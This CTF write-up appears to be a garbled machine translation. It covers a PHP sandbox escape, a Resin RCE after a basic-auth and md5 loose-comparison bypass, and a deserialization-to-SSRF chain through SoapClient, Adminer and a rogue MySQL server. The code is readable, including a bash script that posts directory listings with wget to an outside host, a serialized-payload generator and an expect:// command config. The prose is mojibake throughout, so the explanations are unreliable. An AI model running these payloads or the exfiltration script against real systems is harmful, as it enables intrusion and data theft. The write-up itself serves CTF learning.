ã ããŽããã¯
èå³æ·±ãPHPãµã³ãããã¯ã¹ãæçµçãªè§£æ±ºçã¯ãç§ã®æèŠã§ã¯ãããŒã«ãæŸãã®ãç°¡åã ã£ãããã§ãã ãšãŠãç°¡åã§ãã ãããã圌ã«æ¥ãããã«ã¯ãäœãèµ·ãã£ãŠããã®ããææ¡ããå¿ èŠããããŸããã ç§ã¯å€§ããªããã¯ãäœãããšã§æ±ºå®ã«è³ããŸããã ãŸããæåã®é åã¯æããã§ããããGoogle Mongo Rockãããã«æšæž¬ããŸããã§ãã=ïŒ
æåã«ã次ã«äœããã¹ããã®å°ããªãã³ããè¿ãURLãäžããããŸããã
![](https://habrastorage.org/webt/ri/ao/ln/riaolnhlvgpyluuxq3ke1oif3fy.png)
POSTãªã¯ãšã¹ããåéããŸã
![](https://habrastorage.org/webt/sr/e_/ym/sre_ymdpjlz6o5doqtne9tvba3s.png)
informïŒïŒã³ãã³ãã®çµæã衚瀺ãããŸãã æåã«æãæµ®ãã¶ã®ã¯ãã³ãã³ããžã®ã€ã³ãžã§ã¯ã·ã§ã³ã§ããã€ã³ãã©ãŒã ã€ã³ãã©ãŒã ã«åŒçšç¬Šãããã¯ã¹ã©ãã·ã¥ããã©ã¡ãŒã¿ãŒãæ¿å ¥ããããšããåäœã調æ»ããŸãã
![](https://habrastorage.org/webt/ty/9q/os/ty9qosmcbbzzhbcbija4nvz230e.png)
![](https://habrastorage.org/webt/hv/4j/37/hv4j37fzo_qjx1pbsxqhxvt4iek.png)
ããçš®ã®ééãããããŸã...ããããå¥ã®æåãè¿œå ãããšã
![](https://habrastorage.org/webt/gm/ye/cx/gmyecxzkxnjl7fngqgox9ynga90.png)
ãããŠãæåŸã«phpã¿ã°ãéããŸããã€ãŸããã€ã³ãžã§ã¯ã·ã§ã³ãã©ããã§è¡ãéããŸãã
ã«ãã»ã«ïŒT_ENCAPSED_AND_WHITESPACEïŒãã°ãŒã°ã«ã§æ€çŽ¢ããŸã-ãããã¯åå¥PHPããŒã¯ã³ã§ããããšãããããŸãã ããã¯ãã³ãŒãã®å®è¡åã«å ¥åã®ããŒã¯ã³åãããPHPãµã³ãããã¯ã¹ãããããšã瀺åããŠããŸãã åæã«ãããŒã¯ã³ã®äžéšã¯äœ¿çšãçŠæ¢ãããŠããŸãã ãããŠä»¥æ¥ ããã¯ãµã³ãããã¯ã¹ã§ãããæ³šå ¥ã¯ããããééã£ããã¯ãã«ã§ãã
次ã«ãã¹ããããããæå¹ãªã¯ãšãªãäœæããŠã¿ãŸãããã ããšãã°ã次ã®ããã«ïŒ
![](https://habrastorage.org/webt/r4/su/hn/r4suhnhn2ie0xzrcj7tnceb34b8.png)
ãã®å Žåãåºåã2åçºçããããšãããããŸãããŸããT_CONSTANT_ENCAPSED_STRINGããŒã¯ã³ïŒåŒçšç¬Šã§å²ãŸããæååïŒãèš±å¯ãããŠããããšãããããŸããããã¯éèŠã§ããããšãããããŸããã
äžè¬çã«ãããã§ã¯ãphpã§SUCHãå®è¡ã§ããããšãããã£ãŠããã°ããã§ã«ãã¹ãŠã解決ããããšãã§ããŸã=ïŒããããç§ã¯ç¥ããŸããã§ããã ããã§ãç§ã¯PHPããŒã¯ã³ã®å®å šãªãªã¹ãïŒ ãã ïŒãååŸããããããIntruderã«éãããŠãã©ã®ããŒã¯ã³ãèš±å¯ãããŠããããç解ããŸããã 次ã«ããmongo rockããã°ãŒã°ã«æ€çŽ¢ããããšã«ããã¿ã¹ã¯ã«äœ¿çšããããµã³ãããã¯ã¹ã³ãŒããèŠã€ããŸããã ãã¡ãããã¿ã¹ã¯ã®ããã«å°ãå€æŽãããŸããããããžãã¯ãèªãã®ã«åé¡ã¯ãããŸããïŒåæã«ãå®éã®ã³ãŒããšãã©ãã¯ããã¯ã¹ããã°ã©ã ã®åäœãç 究ããªããäœæããç§ã®é ã®äžã®æ¬äŒŒã³ãŒããæ¯èŒããŠãã ããïŒ
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php
ã³ãŒãè©äŸ¡ã®åã«ããŒã¯ã³åãå®è¡ããé¢æ°ãèŠãŠã¿ãŸããã
private function _runPHP() { $this->_source = "return " . $this->_source . ";"; if (function_exists("token_get_all")) {//tokenizer extension may be disabled $php = "<?php\n" . $this->_source . "\n?>"; $tokens = token_get_all($php);
$ phpå€æ°ã¯æååé£çµã§ãããããäžèšã®äŸã®informïŒïŒ '' Aãæ¿å ¥ãããšãã®æ¹è¡ãšçµäºã¿ã°ã§ãã 次ã¯2ã€ã®ãã§ãã¯ã§ããæåã®ãã§ãã¯ã§ã¯ãããŒã¯ã³ã«èš±å¯ãªã¹ããå«ãŸããŠããããšã確èªããŸãã
if (in_array($type, array( T_OPEN_TAG, T_RETURN, T_WHITESPACE,
2çªç®-T_STRINGããŒã¯ã³ã«æå¹ãªå€ãããããšïŒ
if ($type == T_STRING) { $func = strtolower($token[1]); if (in_array($func, array( //keywords allowed "mongoidâ, âŠ.
T_STRINGããŒã¯ã³ã¯èšèªã®ããŒã¯ãŒãã§ããããããããã®ãªã¹ãã«ã¯informïŒïŒé¢æ°ã®ã¿ãå«ãŸããŠããŸããã ãããŠãæ¡ä»¶ãåæ Œããå Žåãã³ãŒãevalïŒïŒãçºçããŸãã ã€ãŸããäœããã®é¢æ°ãåŒã³åºãããã«ãT_STRINGããŒã¯ã³ãšããŠæž¡ãããšã¯ã§ããŸããã
åèšãããšãé¢æ°ã®åŒã³åºããèš±å¯ãããŠããããšïŒãã ããæ å ±ã¯1ã€ã ãã§ãïŒãããããåŒçšç¬Šã§å²ãŸããæååãã¹ããããããŸãã ãã®åŸãJSããã®ããªãã¯ãæãåºãã次ã®ããã«æž¡ãããšããŸããã
![](https://habrastorage.org/webt/cf/1z/gw/cf1zgwan0usmpynqi7g-8pozovc.png)
ããã解決çã§ãã ã«ãŒãïŒ/ïŒã«ã©ã³ãã ãªååãæã€ãã¡ã€ã«å ã®ãã©ã°ãèŠã€ããããã ãã«æ®ããŸãã åé ã§æžããããã«ã解決çã¯éåžžã«ç°¡åã§ãããPHPã®è€éããç¥ããã«ããããåããªããã°ãªããŸããã§ããã çå®ã¯ããã»ã©é ããªã...
眪æª
æåã¯ãURLãéåžžã©ããäžãããããããéããšãããã€ãã®éœåžã®åçã衚瀺ããããã¿ã³ã¯ãããŸãããããã«ããŒãžã®htmlã³ãŒããèŠãŠãã ããã
![](https://habrastorage.org/webt/s4/cz/6c/s4cz6ce5dxkrx3mzszhozjapvje.png)
å¥åŠãªé åã«æ³šæããŠãã ãã...ååšããªãããŒãžãéããŠã¿ãŸããã
![](https://habrastorage.org/webt/py/ny/gr/pynygryqawrvsn1bzet3i8zrc7u.png)
ãããŠãããã§ã¯éåžžã«èå³æ·±ããµãŒããŒã®ååãèŠãããšãã§ããŸãã ãã®ã¿ã¹ã¯ã®åã«ãããã®ååšããç¥ããŸããã§ããã ãã¹ãŠã®æ©èœã«ã€ããŠã¯èªã¿ãŸããã§ããããã¿ã¹ã¯ã«å¿ èŠãªæãèå³æ·±ãã®ã¯ãæš¹èãPHPãšJavaã³ãŒããçµ±åã§ããããšã§ãïŒã¬ã¬ã·ãŒã§ã§ããããšïŒ
äžè¬ã«ãã¡ã€ã³ããŒãžã«ã¯ãã以äžè¡šç€ºãããªããããdirsearchãèµ·åãããããµãŒããŒã«äœã奜ãã§ãä»ã«äœããµãŒããŒäžã«ãããã確èªããŸãã
![](https://habrastorage.org/webt/b_/re/va/b_revadkagcvfnrvwzd4wggzzjy.png)
/ dev /ãã£ã¬ã¯ããªãèŠã€ããŠéãããšãããšãåºæ¬çãªHTTPèªèšŒã衚瀺ãããŸãã
![](https://habrastorage.org/webt/z-/co/wp/z-cowphgzrhnwbuvwz_q9hcqd8c.png)
ããã¯ã¿ã¹ã¯ã®æåã®éšåã§ã-åºæ¬HTTPèªèšŒãåé¿ããŸãã åé¿çã®ã¢ã€ãã¢ã¯ãnginxã§ãã£ã¬ã¯ããªã/ dev /éåžžã¢ãŒãã«é¥ããªãããã«ããããšã§ãããã®ã¢ãŒãã¯åºæ¬èªèšŒã®äžã«ãããŸãããåæã«ããã¯ãšã³ãã/ dev /ã®ãããªURLãã¹ã解æããŸãã Intruderã§URLââã³ãŒãã®å šãªã¹ããè«æ±ããŸããããããã«æšæž¬ã§ããŸããã
![](https://habrastorage.org/webt/6l/rg/um/6lrgumq9wjcxovzlooeintauoq4.png)
§param§ã®å Žæã§256ãã€ããã¹ãŠãåŠçããåŸãwithïŒ 5cïŒããã¯ã¹ã©ãã·ã¥ïŒãå ã®ãã®ãšç°ãªããã€ãŸã/ dev /ã§å€±æããããšãããããŸããã / dev /ã®ããŒãžãœãŒã¹ã¯æ¬¡ã®ããã«ãªããŸããã
![](https://habrastorage.org/webt/h5/va/t3/h5vat3powgj2xzqye40q9hns36q.png)
æåã®ããŒãžã§åãé åãæãåºããŸãã ããã¯ãçŸåšã®ãã£ã¬ã¯ããªå ã®ãã¡ã€ã«ã®ãªã¹ãã®ãããªãã®ã§ãã
- task.php ~~~ç·šéã¯ããšãã£ã¿ãŒã§ã¿ã€ããéããã®ãå¿ããtask.phpã®ãœãŒã¹ã§ããããã¬ãŒã³ããã¹ãã§ãã©ãŠã¶ãŒã«æäŸãããŸãã
- task.php-WebãµãŒããŒã§å®è¡ã§ããã¹ã¯ãªããã
task.phpã³ãŒããèŠãŠã¿ãŸãããïŒ
<?php error_reporting(0); if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337') { if(strlen($_GET['constr'])===4){ $c = new $_GET['constr']($_GET['arg']); $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); }else{ die('Swimming in the pool after using a bottle of vodka'); } } ?>
æåã®æ¡ä»¶ã¯ããã®ãããªdeveloper_testing_mode Cookieãæž¡ããŠãmd5ãã0e313373133731337313373133731337ãã«çãããªãããã«ããããšã§ãã
ç§ã¯ãã®ããšãç¥ã£ãŠããã®ã§ãããã«è¡ããŸããã ããã¯ãæ¯èŒã匱ãæšæºçãªPHPãšã©ãŒã§ãã ãããèŠãããšããå§ãããŸã ã
æçµçã«ãPHPã§ã¯ã2ã€ã®çå·ïŒ==ïŒãšã®æ¯èŒã§ã¯ãçã®ã0e12345ã=ã0e54321ããšèŠãªãããŸãã ã€ãŸãããã€ãã¹ã«å¿ èŠãªã®ã¯ããã€ã\ x0eã§å§ãŸãmd5ã®å€ãèŠã€ããããšã ãã§ãã ç°¡åã«ã°ãŒã°ã«ã«ããããšãã§ããŸãã
ã³ãŒãã®2çªç®ã®æ¡ä»¶ã¯ãé·ã4ãã€ãã®ç¹å®ã®ãã©ã¡ãŒã¿ãŒconstrãããå Žåã次ãå®è¡ãããããšã§ãã
$c = new $_GET['constr']($_GET['arg']);
ã¯ã©ã¹ã®ãªããžã§ã¯ããäœæããã ãã§ãããã£ãšç°¡åã«æžããšã次ã®ããã«ãªããŸãã
$ c = new ClassïŒparameterïŒ ãããã§ã¯ã©ã¹ãšãã®ãã©ã¡ãŒã¿ãŒã®ååãå¶åŸ¡ããŸãã
äºè¡ç®
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
ããç°¡åã«æžãæããå ŽåïŒ
$ c-> method1ïŒïŒ-> method2ïŒparameter2ïŒ -ããã§ã¯ãã¡ãœããã®ååãš2çªç®ã®ã¡ãœããã®ãã©ã¡ãŒã¿ãŒãå¶åŸ¡ããŸãã
æããã«ãããã¯RCEã§ãããæ®ã£ãŠããã®ã¯é©åãªã¯ã©ã¹åãèŠã€ããããšã ãã§ãã Resin-ã¯PHPãšJavaã³ãŒããçµ±åããŠããããšãæãåºããŸãïŒããã«ã¯èŠããŠããŸããã§ããããæåã¯Pharã«åãã£ãŠæãå§ããŸããïŒã
ãã®ã¿ã¹ã¯ã®è§£æ±ºçã¯ãå®éã«ã¯Resinã®ããã¥ã¡ã³ãã«ãããŸã ã
![](https://habrastorage.org/webt/qd/fu/ii/qdfuii-hvv9sckspsibow8jxflw.png)
RCEã®ãã€ããŒãã¯æ¬¡ã®ããã«ãªããŸãã
![](https://habrastorage.org/webt/je/aw/ck/jeawckroo1sjxskylqpzgavah8g.png)
ããŒã ããã®åºåã¯ãããŸããã®ã§ã垯åå€ã®ææ³ã§çµè«ãåºããŸãã ãªã¯ãšã¹ãã®ããã«ã€ã³ã¿ãŒãããäžã§ãªã¹ããŒãäžãããµãŒããŒäžã§å¿ èŠãªæ å ±ããªã¹ããŒã«éä¿¡ããã³ãã³ããå®è¡ããŸãããã®äžã®ãã€ããŒãã¯æ¬¡ã®ããã«ãªããŸãã
![](https://habrastorage.org/webt/xa/cu/za/xacuza2vjkujgpshi965snfwf7a.png)
ãªããªã ãã©ã°ãä»ããŠãããã¡ã€ã«ã®ååãããããªãããããã£ã¬ã¯ããªäžèŠ§ãäœæããå¿ èŠããããŸãã ã©ã³ã¿ã€ã ã¯ã©ã¹ã¡ãœãã-execïŒïŒã¯ãæååãšé åãå ¥åãšããŠåãåãããšãã§ããŸãã å®å šãªbashãé åã®å Žåã«ã®ã¿æ©èœããæ¹æ³ã 次ã«ãæååã®ã¿ãæž¡ãã«ã¯ã©ãããã°ããã§ããã ãããã£ãŠãåçŽãªbashã¹ã¯ãªãããäœæããŸãã
#!/bin/bash ls -l > /tmp/adweifmwgfmlkerhbetlbm ls -l / >> /tmp/adweifmwgfmlkerhbetlbm wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/
æåã®ãªã¯ãšã¹ãã¯wget -O / tmp / pwn ....ã䜿çšããŠãµãŒããŒã«ã¢ããããŒããã2çªç®ã®ãªã¯ãšã¹ãã¯å®è¡ããŸãã ãªã¹ããŒã®ã«ãŒãã«ãããã£ã¬ã¯ããªã®ãªã¹ãããã¹ããããã©ã°ãèªã¿åããŸãã
ãããŒ
4ã€ã®äžã§æãèå³æ·±ãã éåžžã«é·ãäžé£ã®ãã°ããããããã¿ã¹ã¯ã¯ãããåŒã³åºããŸãã ç§ã¯ããããçŽ2æ¥éããã解決ããåž°å® éäžã®ã»ãŒæåŸã®ç¬éã«ééããŸããé»è»ãã決å®ãã=ïŒ
ãã®ã¿ã¹ã¯ã®è§£æ±ºã«åœ¹ç«ã€æçšãªèšäº ïŒã·ãªã¢ã«åãšéæ³ã®ã¡ãœããã«ã€ããŠïŒã
URLãæå®ãããç¶æ ã§éããšãHTTPèŠæ±ã®ç¹å®ã®ãã¬ãŒã衚瀺ãããŸãã
![](https://habrastorage.org/webt/aq/pg/fo/aqpgfoaayjgdo06qpdklr22nneg.png)
ãã©ã¡ãŒã¿ãŒãå°ãè©ŠããŠããããã®ããããååŸããªãå Žåã¯ãdirsearchãå®è¡ããŸãã
![](https://habrastorage.org/webt/do/gj/pu/dogjpuzwk6naumwgirz5telubw8.png)
adminer.phpã¯ããªãŒãã³ãœãŒã¹ã®ããŒã¿ããŒã¹ç®¡çããŒã«ã§ãã Googleã¯ããã«SSRFã®è匱æ§ãããã«ã¯åå²ãããæäŸããŸãããå®éã«ã¯åŸè ã¯äžèŠã§ãã
管çè ã§ããŒãžãéããšã次ã®ã¡ãã»ãŒãžã衚瀺ãããŸãã
![](https://habrastorage.org/webt/mx/j2/bm/mxj2bmwe_xvxcyo6lg4r0d6ylci.png)
ã¢ã¯ã»ã¹ã¯å éšãªãœãŒã¹ããã®ã¿èš±å¯ããããšèšãããŠããŸãã ããŒã«ã«ãããã¯ãŒã¯ã®ã²ãŒããŠã§ã€ã«æ³šæãæããŸããããã¯ãAdminerã®ãã¹ããæã€ããšãã§ããã¢ãã¬ã¹ã®å°ããªãã³ãã§ãã
index.php.bak-ãœãªã¥ãŒã·ã§ã³ã®ãœãŒã¹ãæäŸãããŸããã
index.php.bakãœãŒã¹ïŒ
é衚瀺ã®ããã¹ã
<?php session_start(); class MetaInfo { function get_SC(){ return $_SERVER['SCRIPT_NAME']; } function get_CT(){ date_default_timezone_set('UTC'); return date('Ymd H:i:s'); } function get_UA(){ return $_SERVER['HTTP_USER_AGENT']; } function get_IP(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } return $ip; } } class Logger { private $userdata; private $serverdata; public $ip; function __construct(){ if (!isset($_COOKIE['userdata'])){ $this->userdata = new MetaInfo(); $ip = $this->userdata->get_IP(); $useragent = htmlspecialchars($this->userdata->get_UA()); $serialized = serialize(array($ip,$useragent)); $key = getenv('KEY'); $nonce = md5(time()); $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); setcookie("nonce",$nonce); setcookie("hmac",$crypto_arrow); setcookie("userdata",base64_encode($serialized)); header("Location: /"); } if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) { fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w'); } } function clear(){ if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n")) return "Log file cleaned!"; } function show(){ $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt'); return $data; } function ahalai($serialized,$uniq_sig){ $magic = $this->mahalai($serialized,$uniq_sig); return $magic; } function mahalai($serialized, $uniq_sig){ return hash_hmac('md5', $serialized,$uniq_sig); } function __destruct(){ if(isset($_COOKIE['userdata'])){ $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); if($crypto_arrow!==$_COOKIE["hmac"]){ exit; } $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND); } } } $a = new Logger(); ?> <center> <pre> <a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a> ----------------------------------------------------------------------------- <? switch ($_GET['act']) { case 'clear': echo $a->clear(); break; case 'show': echo $a->show(); break; default: echo "This is index page."; break; } ?> </pre></center>
ã³ãŒããåŠã¶ã ã¹ã¯ãªããã¯Loggerã¯ã©ã¹ãäœæããèŠæ±ã«å¿ããŠshowããã³clearã¡ãœããã®çµæãè¿ããŸãã ã·ãªã¢ã«åãšçœ²åã®ããå Žæã¯ããã«ããããŸãã æãèå³æ·±ãã®ã¯ãã³ã³ã¹ãã©ã¯ã¿ãšãã¹ãã©ã¯ã¿ã§ãã
__constructïŒïŒã§ã¯ãäžéšã®ãŠãŒã¶ãŒããŒã¿ãçæãããHMACã¢ã«ãŽãªãºã ã䜿çšããŠçœ²åãããŸãã ç§å¯éµã¯ç°å¢å€æ°ã«ä¿åãããŸãã 眲ååŸãããŒã¿ãšçœ²åèªäœããŠãŒã¶ãŒã«æäŸãããŸãã ããã¯ããŠãŒã¶ãŒåŽã®ã»ãã·ã§ã³ã¹ãã¬ãŒãžã¢ãããŒãã®ãšãã¥ã¬ãŒã·ã§ã³ã§ãã ããšãã°ãApache Tapestryããããè¡ããASPãã¬ãŒã ã¯ãŒã¯ã®ã©ããã§ãã®ã¢ãããŒãã«åºããããããã§ãã HMACã䜿çšããå ŽåãããŒã¿ã®å€æŽãšçœ²åã®ãã€ãã¹ã¯å€±æããŸãã ãã¹ãŠãå®å šã«èŠããã®ã§ã __destructorïŒïŒã«ç§»åããŸã
ãªããªã __destructïŒïŒã§æ€èšŒã«çœ²åããéã«ãã°ãããã«èŠã€ãããŸããã§ãããã¹ã¯ãªãããããŒã«ã«ã§å®è¡ãã眲åæ€èšŒã§ã³ãŒãã®äžéšãã³ã¡ã³ãã¢ãŠãããããšã§ããäžéãããã¿ã¹ã¯ã解決ãå§ããŸããã ãããŠãæåŸã«çœ²åãã€ãã¹ã«æ»ããŸããã ããããããã§ã¯ãã¹ãŠãé çªã«ãªããŸã=ïŒ
$serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig);
æåã«æ³šæããå¿ èŠãããã®ã¯ã ãã³ã¹å€æ°ãå¶åŸ¡ããããšã§ãããã®å€æ°ã¯ããã£ã«ã¿ãªã³ã°ãªãã§hash_macé¢æ°ïŒPHPçµã¿èŸŒã¿é¢æ°ïŒã«æž¡ãããŸãã ãã®åŸã uniq_sigãahalaiã¡ãœããã«æž¡ãããŸãã ãã®ã¡ãœããã¯ãåãhash_hmacãšåçã§ãã nonceå€æ°ã®ãã£ã«ã¿ãªã³ã°ããªããããã·ãªã¢ã«åããããã€ããŒããç§å¯ã®ãµãŒããŒããŒã§ã¯ãªã空ã®æååã§çœ²åã§ããå Žåããšã©ãŒãçºçããŸãã äœãèµ·ãã£ãŠããã®ããç解ããããã«ãçãPoCãã¹ã±ããããŸããã
<?php $nonce = array('1','2','3','100500'); $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET"); $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1); echo "Singature with supasecret: $crypto_arrow1\n"; $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET"); $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2); echo "Singature with anothersupasecret: $crypto_arrow2\n"; $crypto_arrow3 = hash_hmac('md5',"ANYDATA",""); echo "Signature with empty string as KEY: $crypto_arrow3\n"; ?>
3ã€ã®äºçš®ãã¹ãŠã®HMACã¯åãã§ãã ã€ãŸããé åãããŒã§çœ²åãããŠããå Žåãçµæã¯ç©ºã®æååã«ãªããŸãã ãããŠä»¥æ¥ æåŸã®çœ²åã¯å ¥åãšããŠåã®çœ²åãååŸãããšèŠãªããã hash_hmacïŒ "ANYDATA"ã ""ïŒãååŸããŸãã ãã®ããããªã¯ãšã¹ããéä¿¡ããåã«èšç®ã§ããŸãã
åèšïŒçœ²åããã€ãã¹ããã«ã¯ãé åãšããŠnonceãæž¡ãå¿ èŠãããã userdataã«éä¿¡ãããããŒã¿ã¯ç©ºã®æååã§äºå眲åããã眲åã¯hmac cookieã§æž¡ãããå¿ èŠããããŸãã
次ã®ã¹ãããã¯ãæçšãªäœããåŸãããã«ãã·ãªã¢ã©ã€ãºãä¿é²ããæ¹æ³ãç解ããããšã§ãã adminerã«ã¯SSRFã®è匱æ§ãããããšãããã£ãŠããŸããã€ãŸãã rogue_mysql_serverãšçµã¿åãããŠããã¡ã€ã«ã®ããŒã«ã«èªã¿åããååŸã§ããŸãã ãã ããAdminerã¯å éšãªãœãŒã¹ã§ã®ã¿äœ¿çšå¯èœã§ãã ãããã£ãŠãæçµçãªãã¯ãã«ã¯æ¬¡ã®ããã«ãªããŸããindex.phpã®SSRF-> adminer.phpã®SSRF-> rogue_mysql_server->ããŒã«ã«ãã¡ã€ã«ã®èªã¿åãrogue_mysq_serverãä»ããŠæªçšãããå¿ èŠããããã®ã¯ããã®ååšãåžžã«ãã§ãã¯ãããªããšããéåžžã«ãŸããªã©ãããŒã§ããRCEã®ãªããã©ã°ä»ãã®ãã¡ã€ã«åã¯èŠã€ãããŸããã
index.phpã§SSRFãã»ã©ããŸãã 次ã®ã³ãŒãã»ã¯ã·ã§ã³ã«æ³šæããŠãã ããã
$this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC();
ããã«ã¯ããã€ãã®ããªãã¯ããããŸãã æåã®ããªãã¯ã¯ããªããžã§ã¯ããéã·ãªã¢ã«åãããå Žåããã®ãªããžã§ã¯ãã®__destructïŒïŒãåŒã³åºãããŸãïŒRdot.orgã®èšäºãèªãã§ãã ããïŒã 2ã€ç®ã®ããªãã¯-ãã¹ãã©ã¯ã¿ã§æ¢ã«ãã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãè¡ããŸãã åãLoggerã¯ã©ã¹ã®ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãããšã©ããªããŸããïŒ ã€ãŸããéã·ãªã¢ã«åäžã«ãåãã¯ã©ã¹ã®ãã¹ãã©ã¯ã¿ãåã³åŒã³åºãããŸãïŒ äžè¬çã«ãç¡éã®ãµã€ã¯ã«ãçºçããDOSãååšãããšèããŸããã ããããPHPã¯ãã®ç¶æ³ãæ£ããåŠçããããšãå€æããŸããã 3çªç®ã®ããªãã¯ã¯ãéã·ãªã¢ã«åäžã«ãã©ã€ããŒãå€æ°serverdataã«ãªããžã§ã¯ããã¹ãªããããå Žåãserverdata-> get_CTïŒïŒã¡ãœãããã³ãŒãã«æ²¿ã£ãŠããã«åŒã³åºãããŸãã ããã§ãéæ³ã®__callïŒïŒã¡ãœãããå©ãã«ãªããŸããã¯ã©ã¹ã¡ãœãããååšããªãå Žåã«åŒã³åºãããŸãã
ããŒã¯ãŒããphp class __call ssrfãã«ã€ããŠã¯ãå¥ã®CTFããããŠã³ããŒãããã°ããã°ãŒã°ã«æ€çŽ¢ã§ããŸããããã§ãé©åãªPHPã¯ã©ã¹SoapClientãèŠã€ããããšãã§ãããã®__callïŒïŒãsoapèŠæ±ãããªã¬ãŒããŸãã SoapClientãäœæããŠãå¿ èŠãªãã©ã¡ãŒã¿ãŒã䜿çšããŠadminer.phpã«ãªã¯ãšã¹ããéä¿¡ããŸãã ãªãããã®çç±ã§ã管çè ãèªåã§ã€ã³ã¹ããŒã«ããããã«ãããã®ã調ã¹å§ããŸããã ããã¯ã§ããŸããã§ããã ãã€ããŒããçæããããã®æçµçãªã³ãŒãã¯æ¬¡ã®ããã«ãªããŸããã
<?php class Logger { private $userdata; private $serverdata; public $ip; function __construct($iter) { $this->serverdata = new SoapClient(null, array( 'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=", 'uri' => "http://172.17.0.$iter", 'trace' => 1, )); } } for($i=0;$i<=255;$i++) { $payload=serialize(array("127.0.0.1",new Logger($i))); file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND); file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND); } ?>
æåŸã«ã index.phpã®ãªãªãžãã«ãšåãããŒã¿ã§åãLoggerã¯ã©ã¹ãäœæããŸãã ãã ããã³ã³ã¹ãã©ã¯ã¿ãŒã§ã¯ãå éšãã©ã€ããŒãå€æ°serverdata- SoapClientã¯ã©ã¹ã®ãªããžã§ã¯ããå²ãåœãŠãŸãã SoapClientãªããžã§ã¯ãã¯ãrogue_mysql_serverã䜿çšããŠãµãŒããŒã«æ¥ç¶ããããã®ãã©ã¡ãŒã¿ãŒãæã€å éšç®¡çè ãªãœãŒã¹ãæ¢ã«ãã€ã³ãããŠããŸãã ããŒã«ã«ç®¡çè ãµãŒããŒIPãèŠã€ããã«ã¯ã $ iterå€æ°ã®ã«ãŒããå¿ èŠã§ãã localhostãä»ãããªã¯ãšã¹ãã¯ãããã¯ãããŸããã äžè¬çã«ã圌ã¯IP = 172.17.0.3ã§ãããã1ã€ãè©ŠããŠããIntruder =ïŒPitchforkã¢ãŒããèµ·åããŸãããæåã®ãã©ã¡ãŒã¿ãŒã¯çœ²åä»ãã®ãã¡ã€ã«ã§ã2çªç®ã¯ãã€ããŒãä»ãã§ãã
![](https://habrastorage.org/webt/ru/bv/rx/rubvrxo1p2veqptrzjjygtfqehy.png)
ã€ã³ã¿ãŒãããäžã®ã©ããã®ãµãŒããŒã§æ¥ç¶ãåä¿¡ããã«ã¯ãmysq_rogue_serverãèµ·åããŸã ã ããããååŸããŸãã ã ãã®æ§æããå§ããŸãã
filelist = ( #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // , 'expect://ls > /tmp/mfocuz_tmp01', '/tmp/mfocuz_tmp01', )
expectããã®åºåãäžæ£ãªãµãŒããŒã«æž¡ãããšã¯ã§ããªããããåºåããã¡ã€ã«ã«ãªãã€ã¬ã¯ããã2çªç®ã®ã³ãã³ãã§ãã¡ã€ã«ãèªã¿åããŸãã
Intruderãå®è¡ããã©ã®IPãæ©èœããã確èªããŸã
![](https://habrastorage.org/webt/55/zx/pe/55zxpe1eq9lny7giygqliatfnnm.png)
ãµãŒããŒã®äžæ£ãªãã°ã§ãããèŠã€ããŸãïŒ
2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'
å¥ã®èŠæ±ãéä¿¡ããããã«æ®ããŸãããäžæ£ãµãŒããŒã§ãã©ã°ãžã®ãã¹ãå ¥åããŸãã ãªããŒã¿ãŒããã®æçµã¯ãšãªïŒ
![](https://habrastorage.org/webt/g6/1-/gu/g61-gumw5b616hrm8qtlo_2qoby.png)
event0
